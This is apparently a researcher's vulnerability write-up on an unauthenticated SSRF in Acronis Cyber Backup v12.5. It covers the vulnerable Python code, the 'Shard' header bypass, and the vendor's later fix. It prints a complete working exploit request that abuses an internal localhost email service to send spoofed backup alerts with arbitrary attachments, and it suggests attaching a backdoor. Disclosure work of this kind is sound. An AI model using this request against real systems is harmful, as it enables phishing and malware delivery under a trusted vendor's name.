You have probably read one or more blog posts about SSRFs, many being escalated to RCE. While this might be the ultimate goal, this post is about an often overlooked impact of SSRFs: application logic impact.
This post will tell you the story about an unauthenticated SSRF affecting Acronis Cyber Backup up to v12.5 Build 16341, which allows sending fully customizable emails to any recipient by abusing a web service that is bound to localhost. The fun thing about this issue is that the emails can be sent as backup indicators, including fully customizable attachments. Imagine sending Acronis “Backup Failed” emails to the whole organization with a nice backdoor attached to it? Here you go.
Root Cause Analysis
So Acronis Cyber Backup is essentially a backup solution that offers administrators a powerful way to automatically backup connected systems such as clients and even servers. The solution itself consists of dozens of internally connected (web) services and functionalities, so it’s essentially a mess of different C/C++, Go, and Python applications and libraries.
The application’s main web service runs on port 9877 and presents you with a login screen:
Now, every hacker’s goal is to find something unauthenticated. Something cool. So I’ve started to dig into the source code of the main web service to find something cool. Actually, it didn’t take me too long to discover that something in a method called
:make_request_to_ams
# WebServer/wcs/web/temp_ams_proxy.py: def make_request_to_ams(resource, method, data=None): port = config.CONFIG.get('default_ams_port', '9892') uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource) [...]
The main interesting thing here is the call to
, which is used to construct a Uri. The application reads out a specific request header called et_ams_address(request.headers)
within that method:Shard
def get_ams_address(headers): if 'Shard' in headers: logging.debug('Get_ams_address address from shard ams_host=%s', headers.get('Shard')) return headers.get('Shard') # Mobile agent >= ABC5.0
When having a further look at the
call, things are getting pretty clear. The application uses the value from the make_request_to_ams
call:Shard
header in a
urllib.request.urlopen
def make_request_to_ams(resource, method, data=None): [...] logging.debug('Making request to AMS %s %s', method, uri) headers = dict(request.headers) del headers['Content-Length'] if not data is None: headers['Content-Type'] = 'application/json' req = urllib.request.Request(uri, headers=headers, method=method, data=data) resp = None try: resp = urllib.request.urlopen(req, timeout=wcs.web.session.DEFAULT_REQUEST_TIMEOUT) except Exception as e: logging.error('Cannot access ams {} {}, error: {}'.format(method, resource, e)) return resp
So this is a pretty straight-forward SSRF including a couple of bonus points making the SSRF even more powerful:
- The instantiation of the
class uses all original request headers, the HTTP method from theurllib.request.Request
request, and the even the whole request body. - The response is fully returned!
The only thing that needs to be bypassed is the hardcoded construction of the destination Uri since the API appends a semicolon, a port, and a resource to the requested Uri:
uri = 'http://{}:{}{}'.format(get_ams_address(request.headers), port, resource)
However, this is also trivially easy to bypass since you only need to append a
to turn those into parameters. A final payload for the Shard header, therefore, looks like the following:?
Shard: localhost?
Finding Unauthenticated Routes
To exploit this SSRF we need to find a route which is reachable without authentication. While most of CyberBackup’s routes are only reachable with authentication, there is one interesting route called
which is kinda different:/api/ams/agents
# WebServer/wcs/web/temp_ams_proxy.py: _AMS_ADD_DEVICES_ROUTES = [ (['POST'], '/api/ams/agents'), ] + AMS_PUBLIC_ROUTES
Every request to this route is passed to the
method:route_add_devices_request_to_ams
def setup_ams_routes(app): [...] for methods, uri, *dummy in _AMS_ADD_DEVICES_ROUTES: app.add_url_rule(uri, methods=methods, view_func=_route_add_devices_request_to_ams) [...]
This in return does only check whether the
configuration is enabled (which is the standard config) before passing the request to the vulnerable allow_add_devices
method:_route_the_request_to_ams
def _route_add_devices_request_to_ams(*dummy_args, **dummy_kwargs): if not config.CONFIG.get('allow_add_devices', True): raise exceptions.operation_forbidden_error('Add devices') return _route_the_request_to_ams(*dummy_args, **dummy_kwargs)
So we’ve found our attackable route without authentication here.
Sending Fully Customized Emails Including An Attachment
Apart from doing meta-data stuff or similar, I wanted to entirely fire the SSRF against one of Cyber Backup’s internal web services. There are many these, and there are a whole bunch of web services whose authorization concept solely relies only on being callable from the localhost. Sounds like a weak spot, right?
One interesting internal web service is listening on
. This service offers a variety of functionality to send out notifications. One of the provided endpoints is localhost
port
30572
: the
Notification Service
:/external_email/
@route(r'^/external_email/?') class ExternalEmailHandler(RESTHandler): @schematic_request(input=ExternalEmailValidator(), deserialize=True) async def post(self): try: error = await send_external_email( self.json['tenantId'], self.json['eventLevel'], self.json['template'], self.json['parameters'], self.json.get('images', {}), self.json.get('attachments', {}), self.json.get('mainRecipients', []), self.json.get('additionalRecipients', []) ) if error: raise HTTPError(http.BAD_REQUEST, reason=error.replace('\n', '')) except RuntimeError as e: raise HTTPError(http.BAD_REQUEST, reason=str(e))
I’m not going through the
method in detail since it is rather complex, but this endpoint essentially uses parameters supplied via HTTP POST to construct an email that is send out afterwards.send_external_email
The final working exploit looks like the following:
POST /api/ams/agents HTTP/1.1 Host: 10.211.55.10:9877 Shard: localhost:30572/external_email? Connection: close Content-Length: 719 Content-Type: application/json;charset=UTF-8 {"tenantId":"00000000-0000-0000-0000-000000000000", "template":"true_image_backup", "parameters":{ "what_to_backup":"what_to_backup", "duration":2, "timezone":1, "start_time":1, "finish_time":1, "backup_size":1, "quota_servers":1, "usage_vms":1, "quota_vms":1,"subject_status":"subject_status", "machine_name":"machine_name", "plan_name":"plan_name", "subject_hierarchy_name":"subject_hierarchy_name", "subject_login":"subject_login", "ams_machine_name":"ams_machine_name", "machine_name":"machine_name", "status":"status","support_url":"support_url" }, "images":{"test":"./critical-alert.png"}, "attachments":{"test.html":"PHU+U29tZSBtb3JlIGZ1biBoZXJlPC91Pg=="}, "mainRecipients":["[email protected]"]}
This involves a variety of “customizations” for the email including a base64-encoded
value. Issuing this POST request returns attachments
:null
but ultimately sends out the email to the given
:mainRecipients
including some
attachments
Perfectly spoofed mail, right 😉 ?
The Fix
Acronis fixed the vulnerability in version
gets the actual v12.5 Build 16342
of Acronis Cyber Backup by changing the way that
get_ams_address
address. It now requires an additional authorization header with a JWT that is passed to a method called Shard
:resolve_shard_address
# WebServer/wcs/web/temp_ams_proxy.py: def get_ams_address(headers): if config.is_msp_environment(): auth = headers.get('Authorization') _bearer_prefix = 'bearer ' _bearer_prefix_len = len(_bearer_prefix) jwt = auth[_bearer_prefix_len:] tenant_id = headers.get('X-Apigw-Tenant-Id') logging.info('GET_AMS: tenant_id: {}, jwt: {}'.format(tenant_id, jwt)) if tenant_id and jwt: return wcs.web.session.resolve_shard_address(jwt, tenant_id)
While both values
are not explicitly validated here, they are simply used in a new hardcoded call to the API endpoint tenant_id
and
jwt
which ultimately verifies the authorization:/api/account_server/tenants/
# WebServer/wcs/web/session.py: def resolve_shard_address(jwt, tenant_id): backup_account_server = config.CONFIG['default_backup_account_server'] url = '{}/api/account_server/tenants/{}'.format(backup_account_server, tenant_id) headers = { 'Authorization': 'Bearer {}'.format(jwt) } from wcs.web.proxy import make_request result = make_request(url, logging.getLogger(), method='GET', headers=headers).json() kind = result['kind'] if kind not in ['unit', 'customer']: raise exceptions.unsupported_tenant_kind(kind) return result['ams_shard']
Problem solved.